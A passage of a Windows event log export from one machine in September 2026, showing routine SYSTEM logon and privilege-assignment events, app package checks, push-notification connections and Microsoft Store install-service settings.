Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.591\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.671\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:41.672\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:41.672\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:43.017\t1402\tData Store Cache secondary data reconciliation start.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:35:43.021\t1403\tData Store Cache secondary data reconciliation end.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:35:43.043\t3000\tTile session creation is requested for C:\\Windows\\System32\\RuntimeBroker.exe endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:43.043\t3001\tTile session creation is finished for C:\\Windows\\System32\\RuntimeBroker.exe from endpoint 0x0 with result The operation completed successfully., and 3 is assigned as session id. Queued Closes = 0, Queued Cleanups = 0\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.674\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.678\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9398 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.694\t3053\ttile with notification tracking id 9398 is being delivered to MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.262\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:46.346\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:46.350\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:00.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:01.893\t211\tAdded process 9584 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.598\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.615\t201\tCreated process 19360 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.634\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:04.634\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:04.652\t6006\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\pushtoinstall.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"canDisableApps value is 0\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\svc\\svcmain.cpp (58)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"PTI started with registration\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: ServiceInitialize\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\service.cpp (338)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"Attempting to register with the notification service.\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: RegisterForWns\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp (21)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.712\t2000\t\"Process Name: C:\\WINDOWS\\system32\\taskhostw.exe\nModule Name: C:\\Windows\\System32\\InstallServiceTasks.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.712\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.728\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.728\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: BatterySaverStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: ACPowerChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: OpportunisticConnectedStandbyStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.732\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.735\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.749\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.750\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.750\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.772\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.789\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\tasksdll\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: 